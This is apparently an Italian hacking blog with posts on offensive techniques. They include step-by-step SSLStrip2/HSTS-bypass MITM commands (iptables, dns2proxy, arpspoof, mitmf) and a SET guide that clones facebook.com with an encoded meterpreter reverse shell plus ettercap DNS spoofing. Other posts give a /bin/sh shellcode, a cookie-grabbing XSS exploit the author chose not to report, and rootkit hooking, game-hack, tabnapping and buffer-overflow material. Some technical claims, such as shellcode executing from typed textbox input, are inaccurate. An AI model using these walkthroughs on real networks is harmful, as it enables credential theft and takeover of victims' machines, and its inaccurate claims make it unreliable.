Visualizzazione post con etichetta hacking. Mostra tutti i post
Visualizzazione post con etichetta hacking. Mostra tutti i post

domenica 29 marzo 2015

SSLStrip 2, come bypassare HSTS

Tutti quelli che sono interessati da qualche anno al penetration testing avranno sicuramente sentito parlare del famoso programma "SSLStrip", ma facciamo un piccolo ripassino.

Circa 6 anni fa, alla BlackHAT Conference del 2009, e' stato presentato SSLStrip, un tool scritto in python che sostituiva tutti i link "https" con link "http", permettendo quindi ad un attaccante, di sniffare tranquillamente le password delle vittime sulla sua rete LAN.

Per ovviare a questo problema, circa 3 anni fa è stata trovata come soluzione, l'implementazione di una nuova "Security Policy" chiamata "Http Strict Transport Security", che impedisce al browser di connettersi alle pagine non criptate, rendendo inutile SSLStrip e tutte le altre tecniche utilizzate fino a quel momento. Tutti i principali server, ad oggi, utilizzano questo nuovo metodo.

Negli ultimi mesi però, gli esperti di sicurezza hanno ricominciato a far sentire la loro voce e a trovare nuovi metodi per fronteggiare questa nuova protezione, sfornando in poco tempo due nuove tecniche.
La prima, la meno conosciuta ed efficace, sarebbe quella di effettuare un attacco MITM alle comunicazioni del protocollo NTP (Network Time Protocol). Infatti, come tutti sappiamo, i sistemi operativi hanno la possibilità' di sincronizzare l'ora con quella di internet, e fanno questo tramite il protocollo NTP. Esistono numerose versioni di questo protocollo, e la maggior parte dei sistemi implementa versioni vecchie, che non supportano ancora una comunicazione criptata.
L'attacco in se, funziona intercettando la comunicazione tra la vittima e il server che restituisce l'ora al protocollo, e fornendo alla vittima una data ed un ora simili (ovvero viene cambiato solo l'anno; il giorno, il numero e il mese rimangono invariati, così che non sia evidente il cambiamento), che però portino alla data di scadenza del certificato HSTS.
Per effettuare questo attacco, il programma più comunemente usato si chiama Delorean, un tool in python che non approfondirò in questo articolo.


** IL NUOVO METODO
Il secondo metodo, nonché il più recente ed accreditato, è quello utilizzato dalla "nuova versione" di SSLStrip, ovvero SSLStrip 2, un nuovo script in python scritto da LeonardoNve.
Ho utilizzato le virgolette nel definirlo una nuova versione, perché utilizza una tecnica completamente diversa, pensata proprio per ovviare a tutti i problemi legati alle nuove protezioni, e basata su un vero e proprio DNS spoofing.

Basandosi, infatti, su questo tipo di attacco MITM, può eludere non solo la protezione HSTS, grazie al fatto che, l'attaccante si connetterà al nostro dns, quindi in linea teorica al nostro sito web non protetto da quella policy, ma anche dai noiosi avvisi di sicurezza legati alla scadenza del certificato SSL del sito!
Il tutto in modo ancora più sicuro per l'attaccante, poiché, come mostrato nell'immagine, tramite il tool Dns2Proxy potremmo ottenere un dns server proxato, in modo da evitare (in parte) anche la possibilità di essere scoperti.
Ora che avete (spero) capito il funzionamento generale del programma, passiamo alla pratica, con Kali


** COME UTILIZZARLO
Prima di tutto, assicuriamoci di avere il sistema in ordine, eseguendo un controllo sugli update                
apt-get update
apt-get upgrade
Ora scarichiamo i due tool già citati, ovvero SSLStrip2 e Dns2Proxy, estraiamoli dai rispettivi archivi, e spostandoci nella cartella di sslstrip2 tramite terminale. Installiamolo digitando:
python setup.py install
Fatto questo, iniziamo ad abilitare l'Ip Forwarding e settare le varie direttive iptables per garantirne il funzionamento:
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
Ora, può iniziare effettivamente l'attacco. Spostandoci nella directory di dns2proxy e lanciamolo digitando:
python dns2proxy -i <interface>
E' necessario specificare l'interfaccia nel caso non sia quella di default, ovvero la eth0.
Quindi lanciamo anche sslstrip2 in ascolto sulla porta 8000:
sslstrip -l 8000 -a
Infine, utilizziamo arpspoof per intercettare i dati:
arpspoof -i <interface> -t <victim ip> <gateway ip> 
Noterete sicuramente che l'attacco non sarà perfetto, infatti è probabile che qualche sito riesca lo stesso a mantenere la connessione sicura mentre altri siti causeranno un errore nel programma, che non riuscirà a collegarsi al DNS reale del sito. Comunque sia avendo un buon margine di successo ci potremo ritenere soddisfatti.


** CONCLUSIONI E CONSIGLI
I "problemi" di questo attacco saranno principalmente due:
  1. Il procedimento è un po lungo e noioso (non è un gran problema ma....)
  2. Il target di questo attacco è solo uno
Per ovviare al primo problema, è stato già scritto uno script bash che ci automatizza il lavoro, se opportunamente settato, e scaricabile da QUA
Infine, per premiare chi è arrivato a leggere fino a qua, senza scappare subito su kali, consiglio di gran lunga di utilizzare il nuovo framework per gli attacchi man-in-the-middle, chiamato MITMF.
Infatti, è stata da poco integrata la funzione per il bypassing di hsts tramite un plug-in configurato per utilizzare SSLStrip2. Tramite questo framework potremo, con un semplice comando, risolvere anche il secondo problema, poichè lanciando il comando:
mitmf -i <interface> --arp --spoof --hsts --gateway <gateway> 
Effettueremo un arp spoofing, bypassando hsts e (non specificando il target) su tutti i client connessi alla rete.
Per finire vi consiglio di spulciarvi per bene le numerose funzioni di mitmf e dare un occhiata ai link qua sotto.


** LINKS UTILI
BYPASSING HSTS TRAMITE NTP MITM

sabato 18 ottobre 2014

BadUSB cos'è e come utilizzarlo

Dopo un anno dall'ultimo post, ho intenzione di ricominciare a scrivere su questo blog al fine di stimolare me stesso a restare sempre aggiornato sulle ultime novità del mondo dell'underground!

Quello di cui voglio parlare oggi è l'argomento che sta facendo scalpore nell'ultimo mese e che ha fatto la sua comparsa in scena nell'agosto 2014, (poco prima di essere completamente sovrastato dall'apparizione di ShellShock) ovvero "BadUSB"!

Come qualcuno di voi sicuramente saprà, si è parlato molto della scoperta di questa falla nelle periferiche USB che permetterebbe di sfruttare una riprogrammazione del firmware dell'USB 3.0 e inferiore, per poter manipolare l'identificazione da parte del nostro computer, della natura dell'USB.
Detto in parole semplici: come tutti sappiamo, nelle porte USB ci possono andare WebCam, periferiche audio, video, hard disk e quant'altro. Questa riprogrammazione del firmware di una pennetta USB ci permette di fare in modo che il nostro pc, quando inseriamo la periferica, la riconosca come una tastiera o come una webcam in modo da poter avere accesso ai driver di una periferica a nostro piacere, tramite un' apparentemente innocua chiave usb.

Ciò che ha fatto riparlare i media recentemente, è il rilascio del proof-of-concept, da parte degli scopritori della falla. Insieme ad esso però è stata anche rilasciata una patch dagli stessi creatori che, anche se non è assolutamente una soluzione definitiva, impedirebbe l'attacco sui pc, poichè andrebbe a disabilitare la boot mode automatica dell'USB 3.0.

Nel portale GitHub dove è presente il PoC (linkato in seguito), sono presenti tutti i file necessari all'installazione del BadUSB su una pennetta USB, correlati di una guida e il supporto da parte dei creatori, in caso di problemi!

Vi consiglio infine, di dare un occhiata anche al file, scaricabile dal sito dei relatori, chiamato "BadAndroid", il quale permette di effettuare un DNS Spoofing andando a modificare il protocollo usb dei telefoni android in modo che, una volta attaccato al computer il telefono, effettui appunto una redirottazione del traffico di determinati siti verso un sito a nostro piacimento (vi consiglio di dare una letta a questo articolo, in proposito). Nell'archivio, è presente una guida dettagliata all'uso, nel file ReadME

lunedì 11 febbraio 2013

Payload Injection tramite Site cloning e Dns Spoofing con BT5

Oggi ragazzi, farò un breve guida sul come injectare un payload in un computer connesso sulla nostra stessa rete, usando il "Site cloning" e il "Dns spoofing" con Backtrack 5.
Quel che andremo a fare sarà configurare un exploit in modo che quando la vittima si connetterà ad un determinato sito scelto da noi, tramite il dns spoofing sarà redirectata al nostro local host, nel quale sarà preparato esattamente il sito che si aspetta, con la sola differenza, che nel sito sarà injectato il nostro payload, compresso e criptato per essere invisibile agli antivirus, che ci permetterà di avere il controllo del pc vittima, senza che questa si accorda di nulla.

Quel che ci serve, è tutto già compreso in BT 5 ed è il Social Engineering Toolkit, Metasploit ed Ettercap.
Apriamo SET e:

  • Spostiamoci in Social Engineering Attacks (1)->WebSite Attacks Vector(2)->Java Applet Attack Vector(1)->Site Cloner(2).
  • Scriviamo adesso il nostro LHost, il mio è 192.168.1.5.
  • Inseriamo l'indirizzo del sito da clonare, io metto "www.facebook.com".
  • Impostato la porta di ricezione (default:443)
  • Impostiamo il payload, di solito io uso meterpreter in reverse_tcp
  • Impostiamo il metodo di criptazione (usa l'msfencoder), nel multi encoding (15) [il 16 è anche meglio]
  • Adesso SET vi chiederà se inizializzare il listening sulla porta da voi scelta, tramite l'msfcli, dategli "yes"


Ora che abbiamo creato il sito con il payload sul nostro local host e abbiamo impostato l'ascolto sulla nostra porta, non bisognerà fare altro che redirectare la vittima con il dns spoofing al nostro lhost, tramite ettercap.
Quindi apriamo un terminale e digitiamo:

gedit /usr/local/share/ettercap/etter.dns

Ci si aprirà il file di configurazione dns di ettercap, nel quale dovremo impostare il sito origine e il sito destinazione, quindi spostiamoci in basso e scriviamo:

facebook.com A Lhost
*.facebook.com A Lhost 

Così adesso il plugin di dns spoofing di ettercap saprà cosa fare. Adesso possiamo procedere al redirecting tramite questo comando, che tramite un attacco MITM (se non sapete cos'è, l'ho trattato parecchio tempo fa QUA) farà ciò che noi vogliamo:

ettercap -Tqi wlan0 -P dns_spoof -M ARP // //

Farà tutto lui, lasciate fare e dimenticatevi di questo terminale. Tornate su SET e vedrete che appena la vittima aprirà il sito www.facebook.com, vi si aprirà la classica sessione di meterpreter, o la shell e quant'altro nel caso aveste scelto un altro payload.

Se vi è interessato l'articolo, continuate a seguirmi ogni settimana, perché penso che da qua in poi pubblicherò qualcosa in più sul pentesting.
Alla prossima

giovedì 20 settembre 2012

IAT Hooking, Rootkit in User Mode

Nello scorso articolo abbiamo parlato dell'SSDT Hooking, nonchè dello sviluppo di rootkits che agivano in kernel mode. Oggi invece voglio parlarvi dello sviluppo di un rootkit che agisce in user mode, cioè non sfruttando le api native e quindi operando semplicemente a ring 3 come un normalissimo programma.
Vorrei illustrarvi, più precisamente, come effettuare una IAT hooking manuale, semplicemente sfruttando il nostro debugger.

Come dovreste già sapere la RAM, come dice la parola stessa, è una memoria ad accesso casuale. Quando il loader di windows viene interpellato per caricare un programma provvisto della signature del PE, la prima cosa che fa è caricare l'immagine del programma in memoria, insieme a tutte le librerie dinamiche (dll) a cui questo si appoggia. Quindi il loader caricherà tutte le funzioni che servono al programma in memoria, ma queste avranno un indirizzo assolutamente casuale e quindi, se il programma fosse adibito a chiamare esclusivamente una funzione ad un indirizzo preciso, potrebbe non trovarla e magari incappare in un aria di memoria inutilizzata oppure utilizzata da qualche altro programma. Per questo il loader di windows al momento del caricamento delle dll va a compilare una tabella chiamata IAT (Import Address Table), e il programma ogni volta che dovrà effettuare una call andrà ad interpellare prima questa tabella.

Dopo questa storiella, dovreste aver già capito cos'è lo IAT hooking, ma ve lo dico esplicitamente: è la modifica della IAT al fine di redirectare una call verso un'altra funzione creata ad hoc da noi.

Io in questo articolo voglio mostrarvi come effettuare questa tecnica per modificare una MessageBox manualmente tramite OllyDBG non modificando la funzione stessa in alcun modo. Questo però non centra niente con il vero processo di creazione di un rootkit.
Spesso viene usata la dll injection per questo scopo, ma è un pò più complicato, anche se, assolutamente niente di impossibile.
Prima di iniziare, infine, vorrei dire che è LA tecnica più rilevata e banale per fare un rootkit, ma secondo me vale la pena sapere di che cosa si tratta.

Iniziamo con crearci il nostro programma vulnerabile in C:


-------------------------------------------------------------------------------
// IAT Hooking.c //
// Visit DuxHack.blogspot.com //

#include <stdio.h>
#include <conio.h>
#include <windows.h>

int main(void)
{
MessageBox(NULL,"MessageBox","IAT Hooking",MB_OK);
}
-------------------------------------------------------------------------------


Bene, adesso apriamolo con OllyDBG e mettiamo un BreackPoint sulla call alla MessageBox, come nell'immagine:


Adesso che ci siamo sopra, guardiamo in basso e vediamo che c'è un indirizzo che ci interessa:


Eccolo, è proprio quel "00401870" che ci interessa. Andiamo a questo indirizzo e possiamo vedere una cosa del genere:


In basso c'è l'indirizzo dove attualmente il loader di windows, ha mappato la call originale "MessageBoxA" della "User32.dll".
Adesso premete il tasto destro e trovate la voce "View" e selezionate appunto "Module User32" tenendo bene a mente l'indirizzo. Fate "Go to" e mettete l'indirzzo. 
Bene siete esattamente nella procedura della call. Adesso, non dovrete fare altro che trovare un code cave oppure crearvelo e metterci una bella call ad una chiamata che volete voi, preceduta ovviamente dai suoi parametri. Quindi modificare la Call all'interno della dll redirectandola alla vostra API. Avrete ottenuto il risultato voluto.

giovedì 19 luglio 2012

Exploit Cookie Grabbing Forumcommunity

Dopo qualche settimana dalla scoperta dello 0-day che permetteva l'esecuzione del codice javascript illecito su piattaforme quali Forumcommunity e ForumFree, sono arrivato a sviluppare un exploit che permetterebbe all'attaccante di creare un forum che grabbi i cookie degli utenti che lo visitano.

Ho voluto fare questo articolo, come d'altronde anche il video, per avvertirvi di stare attenti a tutti i forum che ritenete sospetti, perché sotto la grafica accattivante, potrebbe nascondersi un cookie grabber perfettamente camuffato. Nel mio exploit ho messo semplicemente un redirect tramite la location.href e la document.cookie ad una pagina PHP che prende in GET i dati passati dalla piattaforma e li immagazzina in variabili che vengono in seguito inviate tramite la funzione Mail () a me.Ovviamente quando mi deciderò a trarre conclusioni delle potenzialità dell'exploit, lo segnalerò. Però tutto questo, dimostra come la sicurezza di questa piattaforma sia veramente precaria.

Non so quante persone siano a conoscenza di questo exploit, ma è sempre meglio stare attenti, non credete?

Ecco il video illusrativo:

giovedì 12 luglio 2012

API Hooking, reversing avanzato


Vorrei come prima cosa, chiarire il concetto di User Mode e Kernel Mode, che può servire in tutti i campi informatici.
Chi ha studiato, come me, un minimo il funzionamento dei rootkits sa questa differenza molto bene, ma vediamo di rinfrescare la memoria. L'architettura X86, è nata nel 1985, e aveva un sistema di sicurezza basato su 4 anelli. Questi anelli, vengono tutt'ora definiti come "Ring 0/1/2/3" (proprio come gli array in C). Gli anelli permettono o vietano ai programmi determinate azioni, secondo i così detti "permessi". Un programma che opera in Ring 0, è un programma che opera in Kernel Mode, e ha i massimi privilegi possibili (ci sarebbe anche una specie di Ring -1, scoperto da un'esperta di sicurezza informatica che ha ufficializzato il suo rootkit chiamato "la pillola blu, o meglio "The blue pill". Questo livello viene inoltre usato dai programmi che permettono la virtualizzazione di un sistema operativo, come VirtualBox o VMWare) invece un programma che opera con un Ring 3 è un normale programma, ed opera in User Mode. Ci sarebbe molto altro da dire, ma lasciamo perdere per adesso, perché non centra con l'articolo.

Dopo questa premessa passiamo all'API Hooking che è un argomento che si divide appunto in user mode e kernel mode.
Questa tecnica è usata in due campi che possiamo definire simili e opposti allo stesso tempo, cioè il campo della programmazione e quello del reverse engineering.
Ma prima di vedere i due aspetti, vorrei introdurre il concetto: parlando di "hooking", intendiamo la capacità di intercettare l'esecuzione di una Call o di un Jump, al fine di monitorarli, oppure modificare l'applicativo.
Per quanto riguarda la programmazione, parliamo di hooking, ovviamente, per creare applicativi in grado di monitorare determinate funzioni, e questo ci è reso più semplice, grazie all'uso di determinate librerie quali "Hook API SDK" oppure "EasyHooking.dll" ecc...

Per quanto riguarda il campo del reverse engineering, ormai dovreste aver capito di cosa andremo a parlare, cioè la capacità di modificare una chiamata ad un API di una libreria esterna (sui file .dll o .os)
Per fare una cosa del genere, abbiamo tante strade e tra le più usate e più intuibili, ci sono queste:

-Cambiare l'address della Call/Jmp

Questa tecnica però richiede che i campi della Call/Jmp originale, siano uguali a quelli dell'API a cui redirecteremo la Call/Jmp

-Modificare le IAT (Import Address Tables)

Tutte le informazione su questo sono reperibili nella guida di Jeffrey Richer: "Advanced Windows", comunque sia, non so bene quando, farò un articolo specifico su questo.

-Alterare le dll sulla quale l'applicativo appoggia.

Questa tecnica si può definire come una tecnica di MITM, cioè, se l'applicativo appoggia sulla dll "kernel32.dll", noi andremo a modificare l'applicativo in modo che vada a finire su una nostra dll, chiamata ad esempio "dummy.dll", la quale eseguirà la sua Call e rimanderà alla kernel32, come illustrato in figura:

-Alterare l'SSDT (System Service Descriptor Table)


 parliamo di SSDT Hooking e parliamo di un hooking in kernel-mode. Una cosa completamente diversa e molto più difficile.


Come avrete notato, non posso dilungarmi perché dovrei scrivere un pdf intero, ma sul web è presente una vasta gamma di guide e illustrazioni (tutte in inglese), per capire meglio ogni singola tecnica di quelle accennate.


Sicuramente una buona illustrazione italiana, molto semplice ed intuitiva sull'API Hooking, usato per il reverse engineering, è questa: API Hooking in User-Mode, programmazione in Delphi
L'API Hooking (come l'SSDT Hooking) in kernel-mode è sicuramente stata una delle più usate tecniche per la creazione di rootkits, perché è di facile comprensione e soprattutto perché il web è pieno zeppo di sorgenti che illustrano bene il suo sfruttamento, ma è da qualche tempo che le misure di sicurezza contro questa tecnica sono diventate veramente tante, grazie agli sviluppatori che hanno creato vari software anti-rootkit, quindi non c'è da preoccuparsi. Come ho accennato prima, adesso c'è il sistema del "ring -1" (è abbastanza scorretto definirlo così,ma lo faccio per comodità), che però è un metodo a cui sono a conoscenza solo esperti di sicurezza informatica a livello mondiale.


Prossimamente, farò una guida più pratica e specifica sull'API Hooking in User Mode, dove illustrerò in modo pratico come effettuare l'hooking di una MsgBox in un programma.

giovedì 21 giugno 2012

[PDF]Come si crea un Hack in AutoIT

Ho deciso di fare una specie di continuazione al precedente PDF, nel quale spiegavo un bel pò della parte teorica sulla creazione di un Hack.

Il motivo di questo PDF è stato proprio il fatto che la precedente guida non dava l'autonomia necessaria per fare un hack, senza essersi andati a vedere prima altre cose più specifiche.
Inoltre, ho notato che non era stata ancora fatta da nessuno una vera guida sulla creazione degli hack mediante l'AutoIT

Ho scelto proprio l'autoIT perché tra questo e il VB, sia sotto l'aspetto della "programmazione" sia sotto l'aspetto della creazione degli hack, l'ho sempre preferito, per scelta personale (senza creare dibattiti, ognuno ha i suoi gusti).

Spero che con questo PDF, si riesca a completare un quadro abbastanza buono per iniziare a creare hack in completa autonomia, e spero che abbia il successo che ha avuto la prima parte.
Vi chiedo gentilmente di avvisarmi tramite email se ci dovessero essere errori gravi a livello concettuale, anche se non penso.

Inoltre, nell'archivio ho messo:

-La guida in PDF (-.-)
-La video-guida per trovare un puntatore statico, di SpeedJack
-Il mio "hack": Spider Score Editor
-L'UDF di Nomad, la NomadMemory

Non mi resta che augurarvi una buona lettura...

Download: [PDF]Come si crea un Hack in AutoIT.rar

giovedì 7 giugno 2012

0-day forumcommunity, JS illecito reso possibile

Poco tempo fa, vidi su un forum un post, dove un ragazzo di 16 anni scriveva di aver scoperto un exploit per forumcommunity/forumfree, i quali sono due delle più frequentate community per la creazione facile e veloce di forum, e come al solito il mio primo pensiero fu: "il solito lamerino che vuol farsi belloccio dicendo cagate...", così chiesi in modo arrogante se poteva aggiungermi su skype per farmi vedere questo exploit, del quale, ovviamente, dubitavo al 100%; ebbene, mi sbagliavo alla grande.
Il suddetto exploit permetteva di eseguire codice javascript non permesso da forumcommunity, come l'uso di un Iframe oppure la classica chiamata al document.cookie, e vidi con i miei stessi occhi, increduli, che FC grabbava come una cagna arrapata (WTF?? Roba da nerd)...
Così mi mostrò il suo forum e da lì, gli snocciolai l'exploit passo dopo passo finchè non riuscii proprio qualche sera fa a finirlo anche su un mio forum creato ad hoc...

Non mi ritengo creatore di questo 0-day, ma sono felice perchè finalmente le mie conoscenze sono bastate per trovare un bug in una grande community.
Per adesso non ho intenzione di segnalare il bug, forse perché, nella mia immaturità morale, lo considero quasi un tesoro personale, intanto voglio continuare a provare per vedere fino a che punto questo bug si possa espandere, e probabilmente quando sarò arrivato a delle conclusioni concrete segnalerò il bug.
Comunque sia, ho postato lo screen del forum su cui l'ho provato, il quale ovviamente ho cancellato, per mostrarvi che non dico cazzate.

Vorrei, con suo consenso, dire esplicitamente, che il suo nick è huggye e ne approfitto per ringraziarlo molto...

Scrivo comunque questo articolo, perché sono rimasto abbastanza deluso dalla sicurezza di forumcommunity, che non filtra i codici che riceve, e per avvertirvi di stare attenti, perché tramite questo bug, siamo riusciti anche a immettere un fake-login nella pagina.
Per sicurezza, quindi, controllate sempre se avete effettivamente fatto il log-out o è solo la pagina che "fa finta che voi noi siate loggati".

A presto...

giovedì 26 aprile 2012

Lo "shattering" e il code injection

In questo periodo mi sento al quanto fissato nel ripetere e mostrare l'infinitesimale limite tra hacking e cracking, mostrandovi anche oggi una nuova tecnica che vede complici le conoscenze di questi due "personaggi" uguali e diversi allo stesso tempo: lo Shatter Attack.


Chi sa l'inglese avrà già capito...Na mazza; non chiedetemi il perché di questo nome, ma questa,  è sicuramente una delle vulnerabilità più frequenti in questi tempi, soprattutto per sistemi operativi windows, perché va ad agire sulle GUI (Interfacce grafiche) dei programmi, tanto di moda in questo momento.

Più specificamente questa vulnerabilità va ad agire sulle textbox dei programmi, perché permettono, come vedremo, l'iniezione di uno shellcode.
La percentuale di vulnerabilità dei programmi a questa tecnica è elevatissima, infatti quasi tutti i programmi possiedono una textbox nella quale si può scrivere.

Il funzionamento di questo attacco è molto semplice, infatti quando noi andiamo a scrivere un semplice ShellCode come questo:
char shellcode[] =
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
        "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
        "\x42\x42\x42\x42";
e lo inseriamo nella textbox di un programma, esso verrà eseguito dal programma, portandolo a delle conseguenze che possono rivelarsi disastrose.
Il tutto può essere anche racchiuso in un programma  che appunto scrive il codice nella textbox del programma vittima; cosa resa possibile grazie a windows, che ci fornisce l'API WM_SETTEXT usabile così: SendMessage(Handle, WM_SETTEXT, 0, shellcode);
e la GetWindowText per individuare la finestra così: GetWindowText(Handle,Title,256);


Vi invito anche a testare questa tecnica creandovi il vostro ShellCode e il vostro injector.
Lascio a voi e alla vostra immaginazione, intendere quanto sia utile questa vulnerabilità, per qualunque dubbio non esitate a chiedere (per email sarebbe meglio).







giovedì 19 aprile 2012

Il Buffer Overflow - la tecnica hacker per eccellenza

Il buffer overflow è un attacco che si presta molto a svariati obbiettivi ed è definita "la tecnica hacker per eccellenza".
Come al solito, anche in questo caso andremo ad unire il reversing all'hacking, e visto che la tecnica di buffer overflow va ad agire su un buffer contenuto, il più delle volte, in un programma, è ovvio che se avete già delle basi di reverse engineering avrete meno difficoltà, in quanto avrete conoscenze approfondite di come agisce un programma; anzi, sono sicuro che non avrete nessuna difficoltà.

Come prima cosa vorrei spiegare che un buffer non è altro che un numero di bytes che vengono affidati ad una determinata variabile. Quindi una normale variabile, è flessibile, per quanto riguarda la memoria, invece una variabile dove è specificato un buffer, non è flessibile, cioè, ha un numero fisso di bytes in memoria. Da questo, è facile intuire genericamente di cosa andremo a parlare, cioè di un superamento del buffer. Un buffer, in C viene dichiarato per esempio così: "char buffer[25];" dove andremo a dichiarare una variabile che può contenere 25 caratteri (dallo 0 al 24).

Per capire effettivamente cos'è il buffer overflow, io fossi in voi, proverei a farmi un codice vulnerabile e exploitarlo, estrapolando le informazioni che otterrete qui, e magari in altri posti dove l'argomento è più approfondito.

Voglio spiegarvi questa tecnica, invitandovi, per prima cosa, a guardare l'immagine di questo post, perché rende molto l'idea. Chi ha un po di familiarità con i registri avrà notato due cose interessanti, cioè che EIP (registro sempre all'istruzione successiva a quella nella quale ci troviamo) ha un valore molto strano: "61616161" mentre ESP, che punta allo stack ci dice che ha un indirizzo "0012FCDC" e ha come valore "aaaa" o meglio "97979797". Questo è un chiaro caso di buffer overflow.
Probabilmente l'attacker in questione avrà rilevato un buffer di x caratteri, riempiendolo di caratteri "a"  e successivamente avrà messo, all'eccedere del buffer, altri 4 caratteri "a", che nella tabella ASCII è proprio 61h. Questo programma, così settato andrà sicuramente in segmentation fault visto che 61616161 non è un indirizzo presente in memoria, ma da questo si può arrivare ad una situazione di "Code Manipulation" andandosi bene ad informare sul base address (esempio: 00400000).

Per esempio, mettiamo che con Cheat engine, noto memory scanner,(che se leggete il PDF sulla creazione di hack che ho postato 2 settimane fa conoscerete abbastanza bene) troviamo una bella CALL ad una msgbox di avvenuta registrazione al programma, con un indirizzo di "00404961" per manipolare il codice, noi andremo a dare al programma vulnerabile un numero di "a" pari al buffer, seguite dai caratteri ASCII "0(1=" andando a sovrascrivere il registro EIP con appunto l'indirizzo 00404961. Bisogna però fare attenzione al fatto che non sempre il numero dei caratteri sono lo stesso numero del buffer, cioè, se dichiaro un buffer in C come quello di prima, non necessariamente potrò ottenere una code manipulation con 24 caratteri casuali + 4 mirati, perchè a volte bisogna mettere qualche carattere in più per riempire il buffer.

Per quanto riguarda la protezione da questa tecnica, quel che ci sarebbe da dire è ben spiegato QUA.

Nel caso ci fosse bisogno di qualche chiarimento, potete chiedetemi tramite e-mail (preferibilmente) oppure tramite commento.

giovedì 12 aprile 2012

TabNapping remoto, il phishing "moderno"

Ritorniamo sulla parte forse più brutta dell'hacking (se così si può chiamare): il phishing.
Questa che vi andrò a proporre è un tecnica di phishing attack chiamata tabnapping, che consiste nello sfruttamento del multitasking del nostro browser, cioè l'uso di più tab insieme.
Chi di noi, che amiamo stare al computer oppure ci dobbiamo stare per lavoro, non ha almeno 3-4 tab aperti insieme? Una cosa a dir poco fantastica che ci permette di svolgere più cose contemporaneamente. Purtroppo però tutto ciò che è fantastico prima o poi viene rovinato, e questo a causa dei nostri browser. Questa tecnica è allo stesso tempo semplice e geniale, e si interseca in un misto di social engineering e web script coding.
L'exploit allo stato brado (per fortuna) è disponibile tramite il proof-of-concept, su questo sito: Azarask.
Là potrete trovare sia l'exploit in una forma innocua, sia una dimostrazione di esso; infatti se provate ad aprire il sito che vi ho linkato e tornare qua sul mio blog, dopo 5 secondi avrete una bella sorpresina.

Questo exploit è stato pensato per ingannare la vittima, che aprendo il link e girando per i tab, si troverà un bel fake login, ma sta volta con un tab del tutto simile a quello della pagina originale e non è tutto, infatti, un uso ancora migliore di questa tecnica è dato dal fatto che, più generalmente, la pagina cambia, semplicemente quando perde il focus (cioè se andate sul desktop e tornate, la pagina sarà cambiata).
Questa particolarità è a parer mio, molto più interessante della prima, soprattutto a livello psicologico, in quanto, se stiamo navigando nel browser, chi più, chi meno, abbiamo un controllo abbastanza buono dei tab aperti, ma se noi stiamo usando un software esterno al browser, il nostro controllo sui tab diminuisce di gran lunga.

Nel video che potete vedere alla fine di questo articolo, viene illustrato ciò a cui si può facilmente arrivare tramite il codice che viene dato nel proof-of-concept. Ovviamente la pagina è stata cancellata,  per evitare che i lamer sguazzassero nella loro ignoranza.

Uno degli usi più efficaci è la possibilità di unirla facilmente ad ad un ulteriore vulnerabilità che abbiamo già affrontato, approssimativamente, in qualche scorso articolo: il cross-site-scripting, o meglio XSS. E' facile, quindi, intuire il come injectarla in una pagina buggata da un xss permanente.

Termino questo articolo ricordandovi l'unico metodo che può tenervi lontano da questo tipo di phishing: GUARDATE L'URL PRIMA DI METTERE I VOSTRI DATI DI ACCESSO.


giovedì 5 aprile 2012

[PDF]Cos'è e come si crea un hack (Esempio Metin2)

 Proprio qualche giorno fa mi ha scritto un ragazzo che voleva effettivamente capire come si crea un hack e mi ha  fatto venire in mente quando anche io non sapevo proprio dove sbattere la testa.
In questa guida, quindi, vi cercherò di spiegare, come prima cosa, cos’ è un hack e successivamente, cosa si deve fare per crearlo.
Il tutto sarà in linea teorica, cioè io non andrò a fornire un codice per la creazione di un hack.
Andremo inoltre ad affrontare le principali problematiche di questa pratica, cioè l’unpacking del gioco.Vi fornirò infine molto materiale esterno da studiare dove potrete affrontare nello specifico alcuni degli argomenti che tratterò blandamente. Quindi, cercherò di non dilungarmi troppo negli argomenti, per rendere di facile comprensione questa guida, buona lettura.


Direi che l'introduzione dice tutto, vi lascio a questo PDF dove è spiegato in dettaglio quel che riguarda la creazione appunto di hack per giochi online e non. Il suddetto PDF è stato creato da un amico, SIDat, che, mi ha chiesto di revisionarlo per aggiustare eventuali errori concettuali. Per questa ragione, in cambio, il PDF comparirà qua in esclusiva, e a chi volesse distribuirlo, su forum, blog ecc.. chiedo gentilmente di mettere come fonte questo blog

Download:  QUA

Per chi volesse capire come creare un hack, più a livello pratico, dopo aver letto questa guida, vi consiglio di leggere la seconda parte, che ho fatto successivamente. Consiglio quindi la visione di QUESTO articolo.

mercoledì 28 marzo 2012

Anonymous OS, meglio non fidarsi!

Da non molto tempo è comparso sul web quel che sembra essere il sistema operativo di Anonymous, il gruppo hacker che seguendomi dovreste conoscere bene.
Il mio parere personale su questo OS è che la tipologia di gente che lo va a scaricare è: "bimbominkia o lamer" (spero che non l'abbiate già scaricato).
Spiego subito la mia affermazione dicendovi che questa distribuzione è semplicemente l'equivalente di ubuntu 11.10 con grafica su stile anonymous e alcuni programmi per l'hacking come sql poison tor ecc.. E' quindi la versione scadente di backtrack, per cui non vedo neanche un motivo per cui una persona, che sia "dalla parte di Anonymous" dovrebbe scaricarlo...
Come avrete notato nell'immagine qua sopra, lo stesso anonOps ha affermato che la "sua" distro è un fake, e si teme che all'interno ci possa essere un backdoor usato dalla polizia per rintracciare una parte del vasto gruppo.

Ripeto quindi che il mio parere è di non fidarsi e non scaricare questa distro, quindi non vi posto neanche il download qui, poi fate come credete...

sabato 10 marzo 2012

Remote Os fingerprinting with Nmap

Ritorniamo un pò a parlare di hacking, e nello specifico, di una tecnica di network scanning, chiamata Os fingerprinting.
Questa tecnica, serve, come è facile intuire, a scoprire il sistema operativo di un host, server o no che sia; il che è quasi indispensabile per effettuare un attacco.
Per attuare questa tecnica, usufruiremo di un grandissimo programma sviluppato principalmente per linux, ma disponibile anche per windows: Nmap.
Nmap, si propone, come molti altri programmi fanno, come un software per testare la sicurezza del proprio server, ma come al solito, tende a diventare uno strumento per l'hacking.
Veniamo adesso, al nocciolo di questa guida. Per fare un Os fingerprint con Nmap, bisogna semplicemente lanciare questo comando:

Nmap -F -O -sS-P0 host

-F: concentra lo scanning principalmente sulle porte più usate
-O: abilita l'OS detection
-sS: Abilita il syn scan
